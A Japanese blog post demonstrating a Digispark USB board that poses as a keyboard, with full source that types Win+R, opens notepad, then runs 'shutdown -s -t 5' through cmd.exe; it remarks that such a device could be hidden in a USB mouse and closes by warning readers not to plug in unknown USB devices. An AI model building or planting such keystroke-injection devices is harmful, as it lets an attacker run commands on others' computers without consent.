見慣れないUSB機器をパソコンにつないじゃダメだってばっちゃが言ってた
物理エスケープキーを作っていて
前回POSTの物理エスケープキーを作っていて思ったこと。
普通のHIDデバイスとして認識するんだから、簡単なセキュリティ対策ソフトだと、これ接続できるよなあ。。。と。
試しに作った
動画で見るのがわかりやすいかと
Digispark KeyInput and Shutdown Laptop Demo
なにをしているか
単純に、キーコードを送っているだけです。 [Win]+[R]を送り、[cmd.exe]とタイプして[Enter]、 DOSコマンドのシャットダウンを送っています。 あえてnotepadを開いたりしていますけども、それはデモとして。
コード
#include "DigiKeyboard.h" void setup() { pinMode(1,OUTPUT); } void loop() { delay(1000); digitalWrite(1,HIGH);delay(250); digitalWrite(1,LOW);delay(250); digitalWrite(1,HIGH);delay(250); digitalWrite(1,LOW);delay(250); digitalWrite(1,HIGH);delay(250); digitalWrite(1,LOW);delay(250); digitalWrite(1,HIGH);delay(250); digitalWrite(1,LOW);delay(250); DigiKeyboard.update(); DigiKeyboard.sendKeyStroke(0); delay(200); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(400); DigiKeyboard.println("notepad.exe"); delay(400); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(1800); DigiKeyboard.println("Have a Nice Day! XAXA!"); delay(4000); DigiKeyboard.sendKeyStroke(KEY_F4,MOD_ALT_LEFT); delay(400); DigiKeyboard.sendKeyStroke(KEY_N,MOD_ALT_LEFT); delay(400); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(400); DigiKeyboard.println("cmd.exe"); delay(400); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(1800); DigiKeyboard.println("shutdown -s -t 5"); delay(2000); DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(200); delay(100000); }
200円でできる嫌がらせ
セキュリティ対策ソフトでUSB機器をブロックしてる企業も多いですけど、未知のストレージデバイスやイメージングデバイスだけ警告して、HIDデバイスとかは警告してくれないやつもありますしね。汎用ドライバーで動くUSBキーボードを果たしてブロックしてくれるんだろかな、と。そもそもコイツ、BIOSの段階で認識するしね。
これ、まだ剥き身なのでわかりやすいんですが、USBマウスとかの中に仕込んだら、ぱっと見わかんないですよね。
なので
未知のUSBデバイスを道ばたで拾っても、自分のパソコンには接続しないようにしましょう。